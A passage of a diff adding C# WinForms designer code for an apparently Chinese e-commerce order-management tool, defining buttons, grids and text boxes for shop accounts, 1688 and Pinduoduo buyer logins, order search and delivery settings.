+ this.chkUseMultiBuyer.Name = "chkUseMultiBuyer"; + this.chkUseMultiBuyer.Size = new System.Drawing.Size(88, 18); + this.chkUseMultiBuyer.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkUseMultiBuyer.TabIndex = 1134; + this.chkUseMultiBuyer.Text = "多买手拍单"; + this.chkUseMultiBuyer.Visible = false; + this.chkUseMultiBuyer.CheckedChanged += new System.EventHandler(this.chkUseMultiBuyer_CheckedChanged); + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + dataGridViewCellStyle1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(192)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopAccount, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle3.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.DeepSkyBlue; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.DefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.EnableHeadersVisualStyles = false; + this.dgvShop.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.dgvShop.Location = new System.Drawing.Point(3, 3); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.CornflowerBlue; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dgvShop.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.dgvShop.RowHeadersWidth = 26; + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle5.ForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.Color.CornflowerBlue; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.Color.White; + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle5; + this.dgvShop.RowTemplate.Height = 18; + this.dgvShop.Size = new System.Drawing.Size(320, 102); + this.dgvShop.TabIndex = 319; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Width = 18; + // + // colShopAccount + // + this.colShopAccount.HeaderText = "店铺账号"; + this.colShopAccount.Name = "colShopAccount"; + this.colShopAccount.ReadOnly = true; + this.colShopAccount.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopAccount.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colShopAccount.Width = 90; + // + // pnlSetReceiveAddress + // + this.pnlSetReceiveAddress.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlSetReceiveAddress.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetReceiveAddress.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSetReceiveAddress.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSetReceiveAddress.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSetReceiveAddress.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSetReceiveAddress.Location = new System.Drawing.Point(1224, 56); + this.pnlSetReceiveAddress.Name = "pnlSetReceiveAddress"; + this.pnlSetReceiveAddress.Size = new System.Drawing.Size(95, 21); + this.pnlSetReceiveAddress.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetReceiveAddress.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetReceiveAddress.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetReceiveAddress.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlSetReceiveAddress.Style.CornerDiameter = 1; + this.pnlSetReceiveAddress.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSetReceiveAddress.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSetReceiveAddress.Style.GradientAngle = 90; + this.pnlSetReceiveAddress.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetReceiveAddress.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetReceiveAddress.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetReceiveAddress.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetReceiveAddress.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetReceiveAddress.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetReceiveAddress.TabIndex = 1062; + this.pnlSetReceiveAddress.Text = "指定收货地址"; + this.pnlSetReceiveAddress.Click += new System.EventHandler(this.pnlSetReceiveAddress_Click); + // + // pnlLogin1688 + // + this.pnlLogin1688.Controls.Add(this.lb1688); + this.pnlLogin1688.Controls.Add(this.panelEx8); + this.pnlLogin1688.Controls.Add(this.cb1688BuyUser); + this.pnlLogin1688.Location = new System.Drawing.Point(467, 81); + this.pnlLogin1688.Name = "pnlLogin1688"; + this.pnlLogin1688.Size = new System.Drawing.Size(207, 25); + this.pnlLogin1688.TabIndex = 893; + this.pnlLogin1688.Visible = false; + // + // lb1688 + // + this.lb1688.BackColor = System.Drawing.Color.Snow; + // + // + // + this.lb1688.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lb1688.Cursor = System.Windows.Forms.Cursors.Hand; + this.lb1688.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lb1688.Location = new System.Drawing.Point(92, 1); + this.lb1688.Name = "lb1688"; + this.lb1688.Size = new System.Drawing.Size(16, 23); + this.lb1688.TabIndex = 805; + this.lb1688.Text = "×"; + this.lb1688.TextAlignment = System.Drawing.StringAlignment.Center; + this.lb1688.Click += new System.EventHandler(this.lb1688_Click); + // + // panelEx8 + // + this.panelEx8.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx8.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx8.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx8.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx8.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx8.Location = new System.Drawing.Point(129, 2); + this.panelEx8.Name = "panelEx8"; + this.panelEx8.Size = new System.Drawing.Size(75, 21); + this.panelEx8.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx8.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx8.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx8.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx8.Style.CornerDiameter = 1; + this.panelEx8.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx8.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx8.Style.GradientAngle = 90; + this.panelEx8.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx8.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx8.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx8.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx8.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx8.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx8.TabIndex = 680; + this.panelEx8.Text = "1688登录"; + this.panelEx8.Click += new System.EventHandler(this.btn_Click); + // + // cb1688BuyUser + // + this.cb1688BuyUser.BackColor = System.Drawing.Color.White; + this.cb1688BuyUser.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cb1688BuyUser.FormattingEnabled = true; + this.cb1688BuyUser.Location = new System.Drawing.Point(0, 0); + this.cb1688BuyUser.Name = "cb1688BuyUser"; + this.cb1688BuyUser.Size = new System.Drawing.Size(125, 25); + this.cb1688BuyUser.TabIndex = 804; + this.cb1688BuyUser.Text = "点击下拉切换"; + this.cb1688BuyUser.SelectedIndexChanged += new System.EventHandler(this.cb1688BuyUser_SelectedIndexChanged); + // + // button1 + // + this.button1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.button1.Location = new System.Drawing.Point(1058, 56); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(161, 23); + this.button1.TabIndex = 8; + this.button1.Text = "测试根据商品编号查询订单"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Visible = false; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // pnlEditTableHeaders + // + this.pnlEditTableHeaders.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlEditTableHeaders.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlEditTableHeaders.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlEditTableHeaders.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlEditTableHeaders.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlEditTableHeaders.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlEditTableHeaders.Location = new System.Drawing.Point(841, 81); + this.pnlEditTableHeaders.Name = "pnlEditTableHeaders"; + this.pnlEditTableHeaders.Size = new System.Drawing.Size(95, 21); + this.pnlEditTableHeaders.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlEditTableHeaders.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlEditTableHeaders.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlEditTableHeaders.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlEditTableHeaders.Style.CornerDiameter = 1; + this.pnlEditTableHeaders.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlEditTableHeaders.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlEditTableHeaders.Style.GradientAngle = 90; + this.pnlEditTableHeaders.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlEditTableHeaders.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlEditTableHeaders.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.TabIndex = 1022; + this.pnlEditTableHeaders.Text = "表头编辑"; + this.pnlEditTableHeaders.Click += new System.EventHandler(this.pnlEditTableHeaders_Click); + // + // pnlSetSendOrder + // + this.pnlSetSendOrder.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetSendOrder.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSetSendOrder.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSetSendOrder.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSetSendOrder.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSetSendOrder.Location = new System.Drawing.Point(378, 60); + this.pnlSetSendOrder.Name = "pnlSetSendOrder"; + this.pnlSetSendOrder.Size = new System.Drawing.Size(70, 37); + this.pnlSetSendOrder.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetSendOrder.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetSendOrder.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetSendOrder.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlSetSendOrder.Style.CornerDiameter = 1; + this.pnlSetSendOrder.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSetSendOrder.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSetSendOrder.Style.GradientAngle = 90; + this.pnlSetSendOrder.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetSendOrder.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetSendOrder.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetSendOrder.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetSendOrder.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetSendOrder.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetSendOrder.TabIndex = 985; + this.pnlSetSendOrder.Text = "批量设置\r\n订单完成"; + this.pnlSetSendOrder.Click += new System.EventHandler(this.pnlSetSendOrder_Click); + // + // chkHasLogisticsThenSend + // + // + // + // + this.chkHasLogisticsThenSend.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkHasLogisticsThenSend.FocusCuesEnabled = false; + this.chkHasLogisticsThenSend.Location = new System.Drawing.Point(821, 5); + this.chkHasLogisticsThenSend.Name = "chkHasLogisticsThenSend"; + this.chkHasLogisticsThenSend.Size = new System.Drawing.Size(134, 23); + this.chkHasLogisticsThenSend.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkHasLogisticsThenSend.TabIndex = 951; + this.chkHasLogisticsThenSend.Text = "有物流信息后再发货"; + this.chkHasLogisticsThenSend.CheckedChanged += new System.EventHandler(this.chkHasLogisticsThenSend_CheckedChanged); + // + // pnlLoginBuyin + // + this.pnlLoginBuyin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlLoginBuyin.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLoginBuyin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlLoginBuyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlLoginBuyin.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlLoginBuyin.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlLoginBuyin.Location = new System.Drawing.Point(1224, 81); + this.pnlLoginBuyin.Name = "pnlLoginBuyin"; + this.pnlLoginBuyin.Size = new System.Drawing.Size(95, 21); + this.pnlLoginBuyin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLoginBuyin.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLoginBuyin.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLoginBuyin.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlLoginBuyin.Style.CornerDiameter = 1; + this.pnlLoginBuyin.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlLoginBuyin.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlLoginBuyin.Style.GradientAngle = 90; + this.pnlLoginBuyin.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLoginBuyin.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLoginBuyin.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.TabIndex = 919; + this.pnlLoginBuyin.Text = "登录巨量百应"; + this.pnlLoginBuyin.Click += new System.EventHandler(this.pnlLoginBuyin_Click); + // + // txtFactoryExportProductId + // + this.txtFactoryExportProductId.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtFactoryExportProductId.Border.Class = "TextBoxBorder"; + this.txtFactoryExportProductId.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtFactoryExportProductId.Location = new System.Drawing.Point(994, 31); + this.txtFactoryExportProductId.Name = "txtFactoryExportProductId"; + this.txtFactoryExportProductId.PreventEnterBeep = true; + this.txtFactoryExportProductId.Size = new System.Drawing.Size(224, 21); + this.txtFactoryExportProductId.TabIndex = 884; + this.txtFactoryExportProductId.Visible = false; + this.txtFactoryExportProductId.WatermarkText = "工厂商品Id列表,多个以\",\"隔开"; + // + // txtSearch + // + this.txtSearch.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtSearch.Border.Class = "TextBoxBorder"; + this.txtSearch.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtSearch.Location = new System.Drawing.Point(994, 6); + this.txtSearch.Name = "txtSearch"; + this.txtSearch.PreventEnterBeep = true; + this.txtSearch.Size = new System.Drawing.Size(224, 21); + this.txtSearch.TabIndex = 753; + this.txtSearch.WatermarkText = "店铺名/订单号/商品编号/姓名/手机号"; + this.txtSearch.Click += new System.EventHandler(this.tborder_Click); + // + // lblSearch + // + this.lblSearch.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblSearch.AutoSize = true; + this.lblSearch.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblSearch.ForeColor = System.Drawing.Color.Black; + this.lblSearch.Location = new System.Drawing.Point(957, 8); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(44, 17); + this.lblSearch.TabIndex = 754; + this.lblSearch.Text = "搜索:"; + this.lblSearch.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // panelEx3 + // + this.panelEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panelEx3.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx3.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx3.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx3.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx3.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx3.Location = new System.Drawing.Point(1224, 6); + this.panelEx3.Name = "panelEx3"; + this.panelEx3.Size = new System.Drawing.Size(94, 21); + this.panelEx3.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx3.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx3.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx3.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx3.Style.CornerDiameter = 1; + this.panelEx3.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx3.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx3.Style.GradientAngle = 90; + this.panelEx3.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx3.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx3.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx3.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx3.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx3.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx3.TabIndex = 672; + this.panelEx3.Text = "订单查询"; + this.panelEx3.Click += new System.EventHandler(this.btn_Click); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label5.ForeColor = System.Drawing.Color.Teal; + this.label5.Location = new System.Drawing.Point(322, 72); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(44, 17); + this.label5.TabIndex = 666; + this.label5.Text = "未授权"; + this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // lb + // + this.lb.BackColor = System.Drawing.Color.Snow; + // + // + // + this.lb.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lb.Cursor = System.Windows.Forms.Cursors.Hand; + this.lb.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lb.Location = new System.Drawing.Point(559, 4); + this.lb.Name = "lb"; + this.lb.Size = new System.Drawing.Size(16, 23); + this.lb.TabIndex = 691; + this.lb.Text = "×"; + this.lb.TextAlignment = System.Drawing.StringAlignment.Center; + this.lb.Click += new System.EventHandler(this.lb_Click); + // + // cbpddBuyUser + // + this.cbpddBuyUser.BackColor = System.Drawing.Color.White; + this.cbpddBuyUser.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cbpddBuyUser.FormattingEnabled = true; + this.cbpddBuyUser.Location = new System.Drawing.Point(467, 3); + this.cbpddBuyUser.Name = "cbpddBuyUser"; + this.cbpddBuyUser.Size = new System.Drawing.Size(125, 25); + this.cbpddBuyUser.TabIndex = 678; + this.cbpddBuyUser.Text = "点击下拉切换"; + this.cbpddBuyUser.SelectedIndexChanged += new System.EventHandler(this.cbpddBuyUser_SelectedIndexChanged); + // + // panelEx7 + // + this.panelEx7.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx7.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx7.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx7.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx7.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx7.Location = new System.Drawing.Point(596, 5); + this.panelEx7.Name = "panelEx7"; + this.panelEx7.Size = new System.Drawing.Size(75, 21); + this.panelEx7.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx7.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx7.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx7.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx7.Style.CornerDiameter = 1; + this.panelEx7.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx7.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx7.Style.GradientAngle = 90; + this.panelEx7.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx7.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx7.StyleMouseDown.BackColor2.Color = 